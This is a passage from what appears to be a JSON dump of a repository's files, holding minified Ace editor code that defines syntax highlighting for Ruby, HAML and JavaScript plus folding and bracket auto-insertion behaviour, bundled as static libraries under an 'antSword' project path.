tderr|$VERBOSE|$!|root_url|flash|session|cookies|params|request|response|logger|self\",i=this.$keywords=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"variable.language\":r,\"support.function\":e,\"invalid.deprecated\":\"debugger\"},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"comment\",regex:\"^=begin(?:$|\\\\s.*$)\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},[{regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren.lparen\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.start\",regex:/\"/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/\"/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/'/,push:[{token:\"constant.language.escape\",regex:/\\\\['\\\\]/},{token:\"string.end\",regex:/'/,next:\"pop\"},{defaultToken:\"string\"}]}],{token:\"text\",regex:\"::\"},{token:\"variable.instance\",regex:\"@{1,2}[a-zA-Z_\\\\d]+\"},{token:\"support.class\",regex:\"[A-Z][a-zA-Z_\\\\d]+\"},s,f,l,{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"punctuation.separator.key-value\",regex:\"=>\"},{stateName:\"heredoc\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[3]),[{type:\"constant\",value:i[1]},{type:\"string\",value:i[2]},{type:\"support.class\",value:i[3]},{type:\"string\",value:i[4]}]},regex:\"(<<-?)(['\\\"`]?)([\\\\w]+)(['\\\"`]?)\",rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^ +\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:\"string.character\",regex:\"\\\\B\\\\?.\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\"^=end(?:$|\\\\s.*$)\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.normalizeRules()};r.inherits(c,i),t.RubyHighlightRules=c}),ace.define(\"ace/mode/haml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\",\"ace/mode/ruby_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=e(\"./ruby_highlight_rules\"),o=s.RubyHighlightRules,u=function(){this.$rules={start:[{token:\"punctuation.section.comment\",regex:/^\\s*\\/.*/},{token:\"punctuation.section.comment\",regex:/^\\s*#.*/},{token:\"string.quoted.double\",regex:\"==.+?==\"},{token:\"keyword.other.doctype\",regex:\"^!!!\\\\s*(?:[a-zA-Z0-9-_]+)?\"},s.qString,s.qqString,s.tString,{token:[\"entity.name.tag.haml\"],regex:/^\\s*%[\\w:]+/,next:\"tag_single\"},{token:[\"meta.escape.haml\"],regex:\"^\\\\s*\\\\\\\\.\"},s.constantNumericHex,s.constantNumericFloat,s.constantOtherSymbol,{token:\"text\",regex:\"=|-|~\",next:\"embedded_ruby\"}],tag_single:[{token:\"entity.other.attribute-name.class.haml\",regex:\"\\\\.[\\\\w-]+\"},{token:\"entity.other.attribute-name.id.haml\",regex:\"#[\\\\w-]+\"},{token:\"punctuation.section\",regex:\"\\\\{\",next:\"section\"},s.constantOtherSymbol,{token:\"text\",regex:/\\s/,next:\"start\"},{token:\"empty\",regex:\"$|(?!\\\\.|#|\\\\{|\\\\[|=|-|~|\\\\/)\",next:\"start\"}],section:[s.constantOtherSymbol,s.qString,s.qqString,s.tString,s.constantNumericHex,s.constantNumericFloat,{token:\"punctuation.section\",regex:\"\\\\}\",next:\"start\"}],embedded_ruby:[s.constantNumericHex,s.constantNumericFloat,{token:\"support.class\",regex:\"[A-Z][a-zA-Z_\\\\d]+\"},{token:(new o).getKeywords(),regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:[\"keyword\",\"text\",\"text\"],regex:\"(?:do|\\\\{)(?: \\\\|[^|]+\\\\|)?$\",next:\"start\"},{token:[\"text\"],regex:\"^$\",next:\"start\"},{token:[\"text\"],regex:\"^(?!.*\\\\|\\\\s*$)\",next:\"start\"}]}};r.inherits(u,i),t.HamlHighlightRules=u}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/haml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/haml_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./haml_highlight_rules\").HamlHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=[\"//\",\"#\"],this.$id=\"ace/mode/haml\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-handlebars.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return 